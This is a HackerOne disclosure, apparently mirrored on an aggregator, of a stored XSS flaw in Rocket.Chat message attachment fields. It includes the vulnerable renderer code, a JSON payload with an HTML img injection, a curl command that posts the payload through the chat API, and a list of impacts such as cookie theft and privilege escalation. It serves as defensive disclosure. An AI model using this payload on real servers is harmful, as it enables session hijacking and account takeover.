Lucene search

K
hackeroneFabianfreyerH1:899954
HistoryJun 16, 2020 - 9:19 p.m.

Rocket.Chat: XSS in message attachment fileds.

2020-06-1621:19:49
fabianfreyer
hackerone.com
19

EPSS

0.001

Percentile

29.4%

> NOTE! Thanks for submitting a report! Please replace all the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to verify and then potentially issue a bounty, so be sure to take your time filling out the report!

Summary: There is a Cross-Site Scripting vulnerability in the message attachment fields.

Description:

If no custom renderer is set, the specializedRendering function will render any HTML provided in the value field of the attachment:

	specializedRendering({ hash: { field, message } }) {
		let html = '';
		if (field.type && renderers[field.type]) {
			html = Blaze.toHTMLWithData(Template[renderers[field.type]], { field, message });
		} else {
			// consider the value already formatted as html
			html = field.value;
		}
		return `<div>${ html }</div>`;
	},

Releases Affected:

  • Rocket.Chat up to 3.3.3

Steps To Reproduce (from initial installation to vulnerability):

  1. Get an Personal Access Token.

  2. Create a channel β€œ#cookies”

  3. Invite administrators into β€œ#cookies”, e.g. by promising them yummy cookies.

  4. Put the following payload in a file, calling it cookiesplz.json:

    {
        "channel": "#cookies",
        "text": "Hi, I'd like a cookie please",
        "attachments": [
            {
                "text": "ohai",
                "fields": [
                    {
                        "type": "hello from project pwner",
                        "title": "pwn",
                        "value": "test<img src />",
                        "short": false
                    }
                ]
            }
        ]
    }
    
  5. Run the following curl request: curl -H "X-Auth-Token: &lt;Token&gt;" -H "X-User-Id: &lt;user Id&gt;" -H "Content-type:application/json" https://&lt;server&gt;/api/v1/chat.postMessage -d @cookiesplz.json

Supporting Material/References:

Suggested mitigation

  • Don’t render verbatim HTML from user input.
  • Mitigate XSS using CSP headers.

Impact

Using this vulnerability, an attacker can steal cookies of other users, including administrators to elevate their privileges. They can leak a user’s messages, critically impacting confidentiality. An attack payload may also Exit or delete messages, potentially removing traces of exploits and critically impacting integrity and availability. Finally, by escalating privileges, an attacker can restart the server and edit important settings, impacting availability. By using XSS execution, an attacker may send the payload to other users, i.e. this vulnerability is β€œwormable” on the same server.

In the electron client, this XSS can be used to get remote code execution.

EPSS

0.001

Percentile

29.4%

Related for H1:899954